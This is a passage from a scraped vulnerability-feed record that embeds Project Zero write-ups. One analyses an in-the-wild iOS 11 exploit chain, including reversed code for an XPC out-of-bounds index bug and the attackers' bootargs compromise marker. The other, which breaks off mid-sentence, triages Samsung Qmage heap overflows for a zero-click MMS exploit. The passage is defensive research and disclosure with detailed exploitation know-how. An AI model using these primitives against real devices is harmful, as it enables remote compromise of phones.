D20AP)\n\niPhone10,2 (8 plus, D21AP)\n\niPhone10,3 (X, D22AP)\n\niPhone10,4 (8, D201AP)\n\niPhone10,5 (8 plus, D211AP)\n\niPhone10,6 (X, D221AP) \n \n\n\nVersions:\n\n15A372 (11.0 - 19 Sep 2017)\n\n15A402 (11.0.1 - 26 Sep 2017)\n\n15A403 (11.0.2 - 26 Sep 2017 - seems to be 8/8plus only, which didn't get 15A402)\n\n15A421 (11.0.2 - 3 Oct 2017)\n\n15A432 (11.0.3 - 11 Oct 2017)\n\n15B93 (11.1 - 31 Oct 2017)\n\n15B150 (11.1.1 - 9 Nov 2017)\n\n15B202 (11.1.2 - 16 Nov 2017)\n\n15C114 (11.2 - 2 Dec 2017)\n\n15C153 (11.2.1 - 13 Dec 2017)\n\n15C202 (11.2.2 - 8 Jan 2018)\n\n15D60 (11.2.5 - 23 Jan 2018)\n\n15D100 (11.2.6 - 19 Feb 2018)\n\n15E216 (11.3 - 29 Mar 2018)\n\n15E302 (11.3.1 - 24 Apr 2018)\n\n15F79 (11.4 - 29 May 2018) \n \n\n\nfirst unsupported version: 11.4.1 - 9 July 2018\n\n### Binary structure\n\nStarting from this third chain the privesc binaries have a different structure. Rather than using the system loader and linking against the required symbols, they instead resolve all the required symbols themselves via dlsym (with the address of dlsym getting passed in from the JSC exploit.) Here's a snippet from the start of the symbol resolution function: \n \n\n\nsyscall = dlsym(RTLD_DEFAULT, \"syscall\");\n\nmemcpy = dlsym(RTLD_DEFAULT, \"memcpy\");\n\nmemset = dlsym(RTLD_DEFAULT, \"memset\");\n\nmach_msg = dlsym(RTLD_DEFAULT, \"mach_msg\");\n\nstat = dlsym(RTLD_DEFAULT, \"stat\");\n\nopen = dlsym(RTLD_DEFAULT, \"open\");\n\nread = dlsym(RTLD_DEFAULT, \"read\");\n\nclose = dlsym(RTLD_DEFAULT, \"close\");\n\n...\n\n \nInterestingly, this seems to be an append-only list, and there are plenty of symbols which aren't used. In **Appendix** A I've enumerated those, and guessed what bugs they might have been targeting with earlier versions of this framework. \n \nChecking for prior compromise \n\n\nLike PE2, after the kernel exploit has successfully run they make a system modification which can be observed from inside the sandbox. This time they add the string \"iop114\" to the device bootargs which can be read from inside the WebContent sandbox via the kern.bootargs sysctl:\n\n** \n** \n\n\nsysctlbyname(\"kern.bootargs\", bootargs, &v7, 0LL, 0LL);\n\nif (strcmp(bootargs, \"iop114\")) {\n\nsyslog(0, \"to sleep ...\");\n\nwhile (1)\n\nsleep(1000);\n\n}\n\n### Unchecked array index in xpc\n\nXPC (which probably stands for \"Cross\"-Process Communication) is an IPC mechanism which uses mach messages as a transport layer. It was introduced in 2011 around the time of iOS 5. XPC messages are serialized object trees, typically with a dictionary at the root. XPC also contains functionality for exposing and managing named services; newer IPC services tend to be built on XPC rather than the legacy MIG system. \n \n\n\nXPC was marketed as a security boundary; at the 2011 Apple World Wide Developers Conference (WWDC) [Apple explicitly stated the benefits of isolation via XPC](<https://developer.apple.com/videos/play/wwdc2011/206/>) as \"Little to no harm if service is exploited\" and that it \"Minimizes impact of exploits.\" Unfortunately, there has been a long history of bugs in XPC; both in the core library as well as in how services used its APIs. See for example the following P0 issues: [80](<https://bugs.chromium.org/p/project-zero/issues/detail?id=80>), [92](<https://bugs.chromium.org/p/project-zero/issues/detail?id=92>), [121](<https://bugs.chromium.org/p/project-zero/issues/detail?id=121>), [130](<https://bugs.chromium.org/p/project-zero/issues/detail?id=130>), [1247](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1247>), [1713](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1713>). Core XPC bugs are quite useful, as they allow you to target any process which uses XPC. \n \n\n\nThis particular bug appears to have been introduced via some refactoring in iOS 11 in the way that the XPC code parses serialized xpc dictionary objects in \"fast mode\". Here's the old code: \n \n\n\nstruct _context {\n\nxpc_dictionary* dict;\n\nchar* target_key;\n\nxpc_serializer* result;\n\nint* found\n\n};\n\n \n\n\nint64 \n\n_xpc_dictionary_look_up_wire_apply(\n\nchar *current_key,\n\nxpc_serializer* serializer,\n\nstruct _context *context)\n\n{\n\nif ( !current_key )\n\nreturn 0;\n\n \n\n\nif (strcmp(context->target_key, current_key))\n\nreturn _skip_value(serializer);\n\n \n\n\n// key matches; result is current state of serializer\n\nmemcpy(context->result, serializer, 0xB0);\n\n*(context->found) = 1;\n\nreturn 0;\n\n} \n \n\n\n \nAn xpc_serializer object is a wrapper around a raw, unparsed XPC message. (The xpc_serializer type is responsible for both serialization and deserialization.) \n \n\n\nHere's an example serialized XPC message: \n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcGxjNiATqjHKDDorobJvT5YJ1oaGCJSgI_BTXl4jSa7Fsx9KUwYH82Xl8EZQUbwTn5IW3yZJzvNPn0rElrQSHCiJnAGLmgyxQGyx8lGAM9ATzvEgmdjG_6AbnxxNj_pCcBpxhdKVKj0pzrMHi4_CpKJysu46qlsIuaEMeBGHubVuFKRh06sk_Y2Bi/s2048/serialized%20XPC%20object%20in%20mach%20message%20-%20HI_RES.png>) In XPC's \"slow mode\" an incoming message is completely deserialized into XPC objects when it's received. The fast mode instead attempts to lazily search for values inside the serialized dictionaries when they're first requested, rather than parsing everything upfront. It does this by comparing the keys in the serialized dictionary against the desired key; if the current key doesn't match they call skip_value to jump over the payload value of the current key to the next key in the serialized XPC dictionary object.\n\n \n\n\nint skip_value(xpc_serializer* serializer)\n\n{\n\nuint32_t wireid;\n\nuint64_t wire_length;\n\n \n\n\nwireid = read_id(xpc_serializer);\n\n \n\n\nif (wireid == 0x1A000)\n\nreturn 0LL;\n\n \n\n\nwire_length = xpc_types[wireid >> 12]->wire_length(serializer);\n\n \n\n\nif (wire_length == -1 ||\n\nwire_length > serializer->remaining)\n\nreturn 0;\n\n// skip over the value\n\nxpc_serializer_advance(serializer, wire_length);\n\nreturn 1;\n\n}\n\n** \n** \n\n\nuint32_t read_id(xpc_serializer* serializer)\n\n{\n\n// ensure there are 4 bytes to be read; return pointer to them\n\nwireid_ptr = xpc_serializer_read(serializer, 4, 0, 0);\n\nif ( !wireid_ptr )\n\nreturn 0x1A000;\n\n \n\n\nuint32_t wireid = *wireid_ptr;\n\nuint32_t typeid = wireid >> 12;\n\n \n\n\n// if any bits other than 12-20 are set,\n\n// or the type_index is 0, fail\n\nif (wireid & 0xFFF00FFF ||\n\ntypeid == 0\n\ntypeid >= _xpc_ntypes) { // 0x19\n\nreturn 0x1A000LL;\n\n}\n\n \n\n\nreturn wireid;\n\n}\n\n \nskip_value first calls read_id, which reads 4 bytes from the serialized message. Those four bytes are the wireid value, which tells XPC the type of the serialized value. read_id also verifies that the wireid is valid: the xpc typeid is contained in bits 12-20 of the wireid, only those bits may be set and the value of the typeid must be greater than zero and less than 0x19. If these conditions aren't met then read_id returns the sentinel wireid value of 0x1A000. skip_id checks for this sentinel return value from read_id and aborts. If read_id returns a valid wireid value, then skip_id uses the typeid bits to index the xpc_types array and call a function pointer read indirectly from there. \n \nLet's take a look at how this code changed in iOS 11. The prototype for xpc_dictionary_look_up_wire_apply is unchanged: \n \n \n\n\nint64 \n\n_xpc_dictionary_look_up_wire_apply(\n\nchar *current_key,\n\nxpc_serializer* serializer,\n\nstruct _context *context)\n\n{\n\nif (!current_key)\n\nreturn 0;\n\n \n\n\nif (strcmp(context->target_key, current_key))\n\nreturn skip_id_and_value(serializer);\n\n \n\n\nmemcpy(context->result, serializer, 0xB0);\n\n*(context->found) = 1;\n\nreturn 0;\n\n}\n\n \nThe call to skip_value has been replaced with a call to skip_id_and_value however: \n \n \n\n\nint64 skip_id_and_value(xpc_serializer* serializer)\n\n{\n\nuint32_t* wireid_ptr = xpc_serializer_read(serializer, 4, 0, 0);\n\nif (!wireid_ptr)\n\nreturn 0;\n\n \n\n\nuint32_t wireid = *wireid_ptr;\n\nif (wireid != 0x1B000)\n\nreturn skip_value(xpc_serializer, wireid);\n\nreturn 0;\n\n}\n\n \nThere's no call to read_id anymore (which was responsible for both reading and verifying the id) instead skip_id_and_value reads the four byte wireid value itself. Curiously it compares the four-byte wireid value against 0x1B000. Is this comparison supposed to actually be something like this? \n \n \n\n\nwireid < 0x1B000\n\n \nSomething seems very wrong. \n \nThe controlled wireid value, which can now be any value apart from 0x1B000, is passed to skip_value; which has a different prototype to before now taking a wireid in addition to the xpc_serializer: \n \n \n\n\nint64\n\nskip_value(xpc_serializer* serializer, uint32_t wireid)\n\n{\n\n// declare function pointer\n\nuint32_t (wire_length_fptr*)(xpc_serializer*);\n\n \n\n\nwire_length_fptr = xpc_wire_length_from_wire_id(wireid);\n\nuint32_t wire_length = wire_length_fptr(serializer)\n\n \n\n\nif (wire_length == -1 ||\n\nwire_length > serializer->remaining) {\n\nreturn 0;\n\n}\n\nxpc_serializer_advance(serializer, wire_length);\n\nreturn 1;\n\n}\n\n** \n** \n\n\nuint32_t (*)(xpc_serializer*)\n\nxpc_wire_length_from_wire_id(uint32_t wireid)\n\n{\n\nreturn xpc_types[wireid >> 12]->wire_length;\n\n}\n\n \nNot only has the prototype of skip_value changed; the precondition has changed too: it used to be the case that skip_value was responsible for verifying the wireid value in the message. That's no longer the case. The wireid value is passed directly to xpc_wire_length_from_wire_id where the lower 12-bits are shifted out and the upper 20 are used to directly index the xpc_types array. xpc_types is an array of pointers to Objective-C classes; the field at +0x90 is the wire_length function pointer, which will be called by skip_value. \n \n \n\n\nWhat happened to all the bounds checking? Lots of code changed subtly here; the semantics of the functions changed and in the end a correct bounds check seems to have become a comparison against just a single invalid value. \n \n\n\nLooking at the other xpc_wire_length_from_wire_id call-sites they are all dominated by calls to _xpc_class_id_from_wire_valid, which actually validates the wireid: \n \n\n\nint xpc_class_id_from_wire_valid(uint32_t wireid)\n\n{\n\nif (((wire_id - 0x1000) < 0x1A000) &&\n\n((wire_id & 0xFFF00F00) == 0)) {\n\nreturn 1;\n\n}\n\nreturn 0;\n\n}\n\n \nIt's very simple to hit this bug; anywhere between iOS 11.0 and 11.4.1 just flip a few bits in an XPC message and you'll probably hit it. This is why I believe that fuzzing or a unit test would have quickly found this issue. \n \nXPC eXploitation \n\n\nLet's take a closer look at exactly what will happen when the vulnerability is triggered: \n \n\n\nint64 skip_id_and_value(xpc_serializer* serializer)\n\n{\n\nuint32_t* wireid_ptr = xpc_serializer_read(serializer, 4, 0, 0);\n\nif (!wireid_ptr)\n\nreturn 0;\n\n \n\n\nuint32_t wireid = *wireid_ptr;\n\nif (wireid != 0x1B000)\n\nreturn skip_value(xpc_serializer, wireid); \n \n\n\n \nxpc_serializer_read returns a pointer into the raw mach message buffer; it's just ensuring that there are at least 4 bytes left to read. As long as those 4 bytes don't contain the value 0x1B000, they'll pass the checks. \n \n\n\nLet's look at the iOS 11 version of skip_value again: \n \n\n\nint64\n\nskip_value(xpc_serializer* serializer, uint32_t wireid)\n\n{\n\n// declare function pointer\n\nuint32_t (wire_length_fptr*)(xpc_serializer*);\n\n \n\n\nwire_length_fptr = xpc_wire_length_from_wire_id(wireid);\n\nuint32_t wire_length = wire_length_fptr(serializer)\n\n \nEach XPC type (eg xpc_dictionary, xpc_string, xpc_uint64) defines a function to determine how large their serialized payload is. For fixed-sized objects, such as an xpc_uint64, this will just return a constant (an xpc_uint64 payload is always 8 bytes): \n \n \n\n\n__xpc_uint64_wire_length\n\nMOV W0, #8\n\nRET\n\n \nSimilarly, an xpc_uuid object always has a 0x10 byte payload: \n \n \n\n\n__xpc_uuid_wire_length\n\nMOV W0, #0x10\n\nRET\n\n \nFor variable-sized types the length needs to be read from the serialized object: \n \n \n\n\n__xpc_string_wire_length\n\nB __xpc_wire_length\n\n \nAll variable-sized xpc objects record their size in bytes directly after their wireid, so _xpc_wire_length just reads the next 4 bytes without consuming them. \n \n_xpc_wire_length_from_wire_id looks up the correct function pointer to call: \n \n \n\n\nuint32_t (*)(xpc_serializer*)\n\nxpc_wire_length_from_wire_id(uint32_t wireid)\n\n{\n\nreturn xpc_types[wireid >> 12]->wire_length;\n\n}\n\n \nxpc_types is an array of pointers to the relevant Objective-C class objects: \n \n \n\n\n__xpc_types:\n\nlibxpc:__const:DCQ 0\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_null\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_bool\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_int64\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_uint64\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_double\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_pointer\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_date\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_data\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_string\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_uuid\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_fd\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_shmem\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_mach_send\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_array\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_dictionary\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_error\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_connection\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_endpoint\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_serializer\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_pipe\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_mach_recv\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_bundle\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_service\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_service_instance\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_activity\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_file_transfer\n\n__xpc_ool_types:\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_fd\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_shmem\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_mach_send\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_connection\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_endpoint\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_mach_recv\n\nlibxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_file_transfer\n\n \nThe value at offset +0x90 in each xpc type's class object is its wire_length function pointer. That function pointer will be called with one argument, which is a pointer to the current xpc_serializer object. \n \nThis gives quite an interesting exploitation primitive: \n \nThey control an array index i, which can be between 0x1c and 0x100000 (since it's the upper 20 bits of the controlled wireid value). That will index the xpc_types array, in the const segment of the libxpc.dylib library in the shared cache. The code will read the pointer at the offset they provide (without bounds checking) then call the function pointer at offset +0x90 from that: \n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivewMz658Rbzu3HyxmqJ1ayrxcBhNwIeFu1YDpX4fBYhTMBKgn99kLKt4lcGf9taJbaCaq4x4_BGcnL6WZTS6aupgf9MSC4lXsRCa-FH_OirOQpQ1gH-nCKW15AeFVNSBXR3i818SoqgrZrZSoQ1-rtYWWdAtr0GrFQgcN8_4I0vAJ686UObdA_TTO/s2048/xpc_types_OOB%20-%20HI_RES.png>)\n\nWhen F_PTR gets called, no register will point to controlled data. X0 will point to the current xpc_serializer, so that seems like the logical choice for targeting to make something more interesting happen. The relevant fields of an xpc_serializer object which can be indirectly controlled are:\n\n \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-08-29T00:00:00", "type": "googleprojectzero", "title": "\nIn-the-wild iOS Exploit Chain 3\n", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8646"], "modified": "2019-08-29T00:00:00", "id": "GOOGLEPROJECTZERO:6555AE6CE499D9D30373C3D7100AD02F", "href": "https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-3.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-06-07T02:00:32", "description": "Posted by Mateusz Jurczyk, Project Zero\n\n \n\n\nThis post is the third of a multi-part series capturing my journey from discovering a vulnerable little-known Samsung image codec, to completing a remote zero-click MMS attack that worked on the latest Samsung flagship devices. New posts will be published as they are completed and will be linked here when complete.\n\n \n\n\n * [MMS Exploit Part 1: Introduction to the Samsung Qmage Codec and Remote Attack Surface](<https://googleprojectzero.blogspot.com/2020/07/mms-exploit-part-1-introduction-to-qmage.html>)\n\n * [MMS Exploit Part 2: Effective Fuzzing of the Qmage Codec](<https://googleprojectzero.blogspot.com/2020/07/mms-exploit-part-2-effective-fuzzing-qmage.html>)\n\n * [this post]\n\n * [MMS Exploit Part 4: MMS Primer, Completing the ASLR Oracle](<https://googleprojectzero.blogspot.com/2020/08/mms-exploit-part-4-completing-aslr-oracle.html>)\n\n * [MMS Exploit Part 5: Defeating Android ASLR, Getting RCE](<https://googleprojectzero.blogspot.com/2020/08/mms-exploit-part-5-defeating-aslr-getting-rce.html>)\n\n## Introduction\n\nIn [Part 2](<https://googleprojectzero.blogspot.com/2020/07/mms-exploit-part-2-effective-fuzzing-qmage.html>), I discussed how I managed to fuzz-test the Qmage codec on Google infrastructure at the turn of 2019/2020. It led to the discovery of a huge number of unique crashes, many of which manifested obvious memory corruption problems. After [reporting them to Samsung](<https://bugs.chromium.org/p/project-zero/issues/detail?id=2002>) on 28 January 2020, my attention turned to the idea of using some of the vulnerabilities to write an MMS exploit. There was evidence that the Samsung Messages app processed incoming bitmaps without any user interaction, so this seemed like the perfect opportunity to see just how realistic such an attack could be with a wide range of image parsing bugs to choose from. The prospect of developing a zero-click exploit running over the mobile network was new and thrilling to me, and it got me very excited to take the challenge.\n\n \n\n\nThe first step in the process was to identify the crashes that were not just high severity on paper, but were also the most convenient for exploitation in a real-life scenario. An ideal bug would be easy to work with (i.e. require a relatively simple structure of the Qmage file), and would provide full control over the memory corruption condition. In case of a heap buffer overflow, this would imply control over the allocation size, overflow size, overflow data, and possibly even the overflow offset (in a non-linear case). Such a bug would lay a strong foundation for any higher-order mechanisms that would have to be implemented in the exploit.\n\n \n\n\nThis blog post describes the additional crash triage I performed to find the most suitable bug for exploitation, followed by an analysis of how it was used to turn plain memory corruption into more useful primitives: control over the instruction pointer (PC), and the ability to \"probe\" the existence of memory ranges. In practice, I was simultaneously experimenting with the MMS protocol to get an initial feel of its design, capabilities and limitations. However, for the sake of clarity, I will limit the scope of this write-up to the low level exploitation details, and proceed to link the memory corruption with the MMS delivery channel in future posts. Let's get started!\n\n## Heap fundamentals in Android\n\nThe first observation to make is that a great majority of the identified crashes were heap-oriented. There were some instances of stack buffer overflows, but the stack cookie mitigation rendered them non-exploitable. There were also other cases such as reads from uninitialized stack-based pointers, but they didn't seem particularly useful, so in the end, I decided to focus on the 174 \"write\" crashes, all of which referenced out-of-bounds heap addresses. In principle, such bugs tend to provide the most flexibility in exploitation, as they can be used to corrupt a variety of objects in memory. So, if we are going to work with the Android heap, we should get familiar with the underlying allocator and its security properties.\n\n \n\n\nThe allocator currently used in all modern versions of Android is [jemalloc](<http://jemalloc.net/>) (side note: this is going to change with the [introduction of Scudo](<https://android-developers.googleblog.com/2020/06/system-hardening-in-android-11.html>) in Android 11). There were two main resources that I found especially useful when learning and experimenting with jemalloc:\n\n \n\n\n * \"The Shadow over Android: Heap exploitation assistance for Android\u2019s libc allocator\" at INFILTRATE 2017 ([slides](<https://census-labs.com/media/shadow-infiltrate-2017.pdf>)) and the shadow exploitation framework itself ([GitHub](<https://github.com/CENSUS/shadow>)).\n\n * \"A Tale of Two Mallocs: On Android libc Allocators\" at INFILTRATE 2018 ([video](<https://vimeo.com/270454588>)), and the accompanying blog post series (specifically [part 2](<https://blog.nsogroup.com/a-tale-of-two-mallocs-on-android-libc-allocators-part-2-jemalloc/>)).\n\n \n\n\nI won't go into much detail regarding the internals of the allocator (you can find them in the above sources), but I would like to highlight the following properties that are most relevant to this research:\n\n \n\n\n * Determinism: jemalloc behaves deterministically, at least to the extent observable by the attacker. For example, with a clean state of the heap, two subsequent allocations of the same size are positioned next to each other.\n\n * Lack of inline metadata: metadata is stored separately from the allocation itself, so an overflow of one chunk (or \"region\", as it's called in jemalloc) immediately overwrites the data of the adjacent one, with no metadata in between.\n\n * Division into size classes: allocations are grouped by size, so any two allocations can only be adjacent to each other if they fall into the same size \"bin\".\n\n * Thread caches: a mechanism called \"tcaches\" improves locality by quickly reusing recently freed regions. This guarantees the predictability of some allocation patterns \u2013 for example, a malloc \u2192 free \u2192 malloc sequence of the same length will return the same address twice.\n\n \n\n\nThese characteristics can be favorable or disadvantageous depending on the specific bug and context around it. Overall, in this case, I think these properties added up to a \"net positive\" from the attacker's perspective, which is not great for user security. For this reason, I am really looking forward to seeing the hardened Scudo allocator enabled by default in Android 11.\n\n \n\n\nNow that we have some background on the behavior we can expect from jemalloc, it's time to analyze the write-violation crashes in search of the most promising ones.\n\n## Finding the right bug\n\nWith all that we know about jemalloc, we can make a working assumption that if there are two malloc calls, and they can be made to be of a similar size, the second one can be corrupted by the first one with a forward overflow, because it is (usually) placed at a higher address. So in order to assess the usability of a crash, we need to determine:\n\n \n\n\n * What region is overwritten by the bug?\n\n * What are the other allocations that are requested between the overwritten allocation and the overflow, and are used after the overflow?\n\n \n\n\nThe [SkCodecFuzzer](<https://github.com/googleprojectzero/SkCodecFuzzer>) test harness has an -l flag that enables the logging of all mallocs and frees to stderr at runtime. It can be used to match the address of the invalid memory access with the corresponding allocation, and see what other allocations are made in between. For example, if we take the signal_sigsegv_40064924d0_4336_c77562cdc52d1baed45ff05bc9ae2023.qmg sample and run it through the loader with the -l flag, we should see the following output (malloc stack traces were edited out for brevity):\n\n \n\n\n[...]\n\n[+] Detected image characteristics:\n\n[+] Dimensions: 148 x 192\n\n[+] Color type: 4\n\n[+] Alpha type: 3\n\n[+] Bytes per pixel: 4\n\n[DEBUG] malloc( 113664) = {0x408c0ff400 .. 0x408c11b000}\n\n[DEBUG] malloc( 104) = {0x408c11cf98 .. 0x408c11d000}\n\n[DEBUG] malloc( 28416) = {0x408c11e100 .. 0x408c125000}\n\n[DEBUG] malloc( 22) = {0x408c126fea .. 0x408c127000}\n\n[DEBUG] malloc( 4120) = {0x408c128fe8 .. 0x408c12a000}\n\nASAN:SIGSEGV\n\n=================================================================\n\n==212100==ERROR: AddressSanitizer: SEGV on unknown address 0x408c125000 (pc 0x400396c4d0 sp 0x4000d04c90 bp 0x4000d04c90 T0)\n\n#0 0x002b54d0 in libhwui.so (QuramQmageGrayIndexRleDecode+0xdc)\n\n#1 0x0029d584 in libhwui.so (__QM_WCodec_decode+0xa3c)\n\n#2 0x0029c9b4 in libhwui.so (Qmage_WDecodeFrame_Low_Rev14474_20150224+0x144)\n\n#3 0x0029ae7c in libhwui.so (QuramQmageDecodeFrame_Rev14474_20150224+0xa8)\n\n[...] \n \n--- \n \n \n\n\nHere, the invalid 0x408c125000 address is the same as the end of the third allocation requested after printing out the image characteristics. Its size of 28416 bytes coincides with 148 (width) \u00d7 192 (height), so we can presume that it is a pixel storage buffer and therefore has controlled length. There are two more allocations (highlighted in red) made after the overflown buffer and kept alive until the crash, so each of them could be the target of the memory corruption. In the call stack, we can also see that the problem occurs during RLE decoding, which is a well-known algorithm and thus would probably meet our criteria of being easy to work with. This is how a specific crash can be evaluated for exploitability.\n\n \n\n\nSince I wished to explore the whole range of options and manually performing the same analysis on the other 173 unique \"write\" crashes seemed tedious, I wrote a quick bash script to generate and process the crash logs to match the invalid accessed addresses with corresponding heap regions. After sorting and deduplicating, they added up to a total of 23 unique overwritten allocation sites. I was not particularly interested in QMv1 crashes (the old format wasn't correctly handled by the Messages application), so I filtered them out from the results, leaving me with 17 allocations subject to overflow. That was a much more manageable number of cases to go through by hand.\n\n \n\n\nAfter a brief analysis, I concluded that many of them were not optimal for my exploit, because they were temporary buffers, allocated and immediately overflown without any mallocs taking place in between. Taking advantage of such a bug would require an earlier allocation to be mapped above the buffer \u2013 a heap state that is possible, but harder to reliably achieve with the limited heap manipulation capabilities of the image codec. The remaining allocation sites that had some potential could be divided into four major groups:\n\n \n\n\nOption 1: The pixel storage buffer associated with the Bitmap object, which is the #1 malloc made by the harness after parsing the headers \n \n--- \n \nExample crash ID\n\n| \n\ne9e773f3e0a6d155636a52a5418d9160 \n \nSize\n\n| \n\nControlled through the bitmap dimensions \n \nAllocated in\n\n| \n\nSkBitmap::tryAllocPixels \n \nOverflown by\n\n| \n\n * QuramQumageDecoder8bit\n\n * QuramQumageDecoder32bit24bit\n\n * QuramQmageGrayIndexRleDecode\n\n * qme_inflate_fast (via PVcodecDecoder_zip) \n \nPotential corruption targets\n\n| \n\nThe android::Bitmap object allocated directly after, and any further allocation made by the specific codec (depending on which one is used to trigger the overflow) \n \n \n\n\nOption 2: A temporary output storage buffer, which is the #3 malloc made by the harness after parsing the headers (preceded only by the bitmap object allocation), and the first allocation in the getAndroidPixels call \n \n--- \n \nExample crash ID\n\n| \n\nb0749f475f0b7af444625c3d1c3a5be8 \n \nSize\n\n| \n\nControlled through the bitmap dimensions \n \nAllocated in\n\n| \n\nQuramQmageDecodeFrame_Rev14474_20150224 \n \nOverflown by\n\n| \n\n * QuramQumageDecoder8bit\n\n * QuramQmageGrayIndexRleDecode \n \nPotential corruption targets\n\n| \n\n * The decoding context structure of size 1688 allocated at the beginning of QuramQumageDecoder8bit, as well as any of the numerous other allocations in that function\n\n * The RLE decoding context structure of size 4120 allocated in QuramQmageGrayIndexRleDecode \n \n \n\n\nOption 3: A temporary RLE decoding buffer \n \n--- \n \nExample crash ID\n\n| \n\n03f2d8074d5797537e8c615b2fa53cef \n \nSize\n\n| \n\nControlled 32-bit integer from the input stream \n \nAllocated in\n\n| \n\n * QmageDecodeStreamGet\n\n * QmageDecodeStreamGet_Rev11454_141008\n\n * QmageRleDecode \n \nOverflown by\n\n| \n\n * QmageDecodeStreamGet\n\n * QmageDecodeStreamGet_Rev11454_141008\n\n * QmageRleDecode \n \nPotential corruption targets\n\n| \n\nThe RLE decoding context structure of size 4120 \n \n \n\n\nOption 4: A temporary zlib decoding buffer \n \n--- \n \nExample crash ID\n\n| \n\ncbd3dbc9e71b2fec9606eaa3eafce056 \n \nSize\n\n| \n\nControlled through the bitmap dimensions \n \nAllocated in\n\n| \n\nQuramQumageDecoder32bit24bit \n \nOverflown by\n\n| \n\nqme_inflate (as called by QuramQumageDecoder32bit24bit \u2192 DecodePrediction2dZip \u2192 PVcodecDecoder_zip \u2192 qme_uncompress) \n \nPotential corruption targets\n\n| \n\nThe zlib decoding context structure of size 12928 \n \n \n\n\nAfter some consideration, I decided that option 1 (bitmap pixel buffer) was the most promising one, because:\n\n \n\n\n * It was the earliest overflown malloc, making it possible to corrupt the widest range of subsequently allocated objects, including the Bitmap object.\n\n * The size was controlled, and in the case of RLE and zlib decompression, the overflow length and data were controlled too. On top of it, I was familiar with both algorithms and thus didn't anticipate any problems constructing the exploit files.\n\n \n\n\nTo be specific, I started my experimentation with the e418c0496cb1babf0eba13026f4d1504 crash and the signal_sigsegv_4005d89b74_8686_6eea0420198397cc5c97563bceb04424.qmg sample. It generated the following report (malloc stack traces again edited out):\n\n \n\n\n[...]\n\n[+] Detected image characteristics:\n\n[+] Dimensions: 40 x 7\n\n[+] Color type: 4\n\n[+] Alpha type: 3\n\n[+] Bytes per pixel: 4\n\nmalloc( 1120) = {0x408c13bba0 .. 0x408c13c000}\n\nmalloc( 104) = {0x408c13df98 .. 0x408c13e000}\n\nmalloc( 24) = {0x408c13ffe8 .. 0x408c140000}\n\nmalloc( 4120) = {0x408c141fe8 .. 0x408c143000}\n\nASAN:SIGSEGV\n\n=================================================================\n\n==3746114==ERROR: AddressSanitizer: SEGV on unknown address 0x408c13c000 (pc 0x40071feb74 sp 0x4000d0b1f0 bp 0x4000d0b1f0 T0)\n\n#0 0x00249b74 in libhwui.so (QuramQmageGrayIndexRleDecode+0xd8)\n\n#1 0x002309d8 in libhwui.so (PVcodecDecoderIndex+0x110)\n\n#2 0x00230854 in libhwui.so (__QM_WCodec_decode+0xe4)\n\n#3 0x00230544 in libhwui.so (Qmage_WDecodeFrame_Low+0x198)\n\n#4 0x0022c604 in libhwui.so (QuramQmageDecodeFrame+0x78)\n\n[...] \n \n--- \n \n \n\n\nHere, we are overflowing the 1120-byte buffer (width 